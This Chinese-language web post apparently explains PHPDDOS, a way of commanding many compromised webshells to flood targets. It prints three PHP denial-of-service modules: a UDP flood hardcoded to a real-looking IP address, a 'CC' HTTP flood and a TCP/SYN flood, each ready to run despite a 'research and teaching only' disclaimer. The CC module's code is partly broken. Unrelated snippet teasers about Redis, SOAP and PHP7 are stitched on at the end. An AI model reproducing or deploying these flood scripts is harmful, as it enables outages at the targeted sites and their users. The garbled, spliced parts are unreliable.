PHPDDOS的原理是使用一个主控端批量向被控端(也就是特殊的webshell)发送攻击命令,方式一般是get或者post,达到统一指挥的目的。而被控端一般使用了php中的sock来进行攻击。用过末日DDOS工具应该了解,攻击效果显著。
【一】。UDP源码
<?php
$packets = 0;
$ip = '116.255.242.14';
$port = 80;
set_time_limit(0);
ignore_user_abort(FALSE);
$exec_time = '60';
$time = time();
echo '状态 : 正常运行中.....<br><br>';
$max_time = $time+$exec_time;
$out=null;
for($i=0;$i<65535;$i++){
$out .= 't';
}
while(true){
$packets++;
if(time() > $max_time){
break;
}
$fp = fsockopen("udp://$ip", $port, $errno, $errstr, 5);
if($fp){
fwrite($fp, $out);
fclose($fp);
}
}
echo " 攻击包时长:<font color=Red><span class=\"text\">".$exec_time." 秒</span><br><br></font>";
echo " 攻击包总数:<font color=Red><span class=\"text\">".$packets." 个数据包</span><br><br></font>";
echo " 攻击总流量:<font color=Red><span class=\"text\">".round(($packets*65*8)/(1024*1024),2)." Mbps</span><br><br></font>";
echo " 攻击总字节:<font color=Red><span class=\"text\">".time('h:i:s')." 字节</span><br><br></font>";
echo "Packet complete at ".time('h:i:s')." with $packets (" .round(($packets*65*8)/(1024*1024),2). " Mbps) packets averaging ". round($packets/$exec_time, 2) . " packets/s \n";
?>【二】。CC源码
<?php
echo "状态 : 正常运行中.....<br>";
echo "================================================<br>";
echo " <font color=blue>www.phpddos.com<br>";
echo " CC Flood 模块<br>";
echo " 作者:ybhacker<br>";
echo " 警告:本程序带有攻击性,仅供安全研究与教学之用,风险自负!</font><br>";
echo "================================================<br><br>";
error_reporting(E_ALL); //提示错误信息
set_time_limit(0); //设定一个程式所允许执行的秒数 0 是无限循环
ob_implicit_flush(); // 刷新输出缓冲
$address = $_POST['site']; // 网站地址
$port = $_POST['port']; // 端口
$dongu = $_POST['dongu']; //循环次数
$sayi = 1;
while ( $sayi <= $dongu ) //变量asyi小于 循环次数变量 dongu 才会继续循环
{
if (($sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP)) === false) {
echo "HaHa\n";
}
if (socket_bind($sock, $address, $port) === false) { // 连接端口
echo "HaHa\n";
}
if (socket_listen($sock, 5) === false) {
echo "HaHa\n";
}
$msg = "HTTP/1.1 GET /\r\nHost:"+$_GET['site']+"\r\nConnection: Keep-Alive\r\n";
socket_write($msg);
socket_close($sock);
$sayi++; // 循环一次 变量sayi 加1
echo "Goodbye...".$sayi; // 输出循环次数
}
?>【三】。TCP源码
<?php
ini_set("display_errors", "Off");
$packets = 0;
$ip = $_GET['ip'];
$port = $_GET['port'];
set_time_limit(0);
ignore_user_abort(FALSE);
$exec_time = $_GET['time'];
$time = time();
print "状态 : 正常运行中.....<br>";
$max_time = $time+$exec_time;
while(1){
$packets++;
if(time() > $max_time){
break;
}
$fp = fsockopen("tcp://$ip", $port,$errno,$errstr,0);
}
echo "================================================<br>";
echo " <font color=blue>www.phpddos.com<br>";
echo " SYN Flood 模块<br>";
echo " 作者:ybhacker<br>";
echo " 警告:本程序带有攻击性,仅供安全研究与教学之用,风险自负!</font><br>";
echo "================================================<br><br>";
echo " 攻击包总数:<font color=Red><span class=\"text\">".$packets." 个数据包</span><br><br></font>";
echo " 攻击总流量:<font color=Red><span class=\"text\">".round(($packets*65*8)/(1024*1024),2)." Mbps</span><br><br></font>";
echo " 攻击总字节:<font color=Red><span class=\"text\">".time('h:i:s')." 字节</span><br><br></font>";
echo "Packet complete at ".time('h:i:s')." with $packets (" .round(($packets*65*8)/(1024*1024),2). " Mbps) packets averaging ". round($packets/$exec_time, 2) . " packets/s \n";
?> /** * 计算两点地理坐标之间的距离 * @param Decimal $longitude1 起点经度 * @param Decimal $lati...
第一步:服务端文件<?php $wsdlfile='webservice.wsdl'; ini_set('soap.wsdl_cache_enabled','0'); //关闭WSDL缓存 //001...
如果想在windows中执行php,并且让php脚本在后台运行,可以用下面的cmd命令start /b php D:\wwwroot\default\demo1\run.php例如上面的命令意思后台运行run.php,如果想用php编写异步代码: ...
Redis提供了发布订阅功能,可以用于消息的传输,Redis的发布订阅机制包括三个部分,发布者(publisher),订阅者(subscriber)和频道(channel)。 发布者和订阅者都是Redis客户端,Channel则为Redis服务器端,发布者将消息发送到某个的频道,订阅了这个...
(1).config.php 配置文件<?php /** * RabbitMQ_Config */ $config = [ 'host' => ...
php7新增的特性(1).强制限制只能返回一种类型<?php class task { } //must return an integer function add(): int { &nb...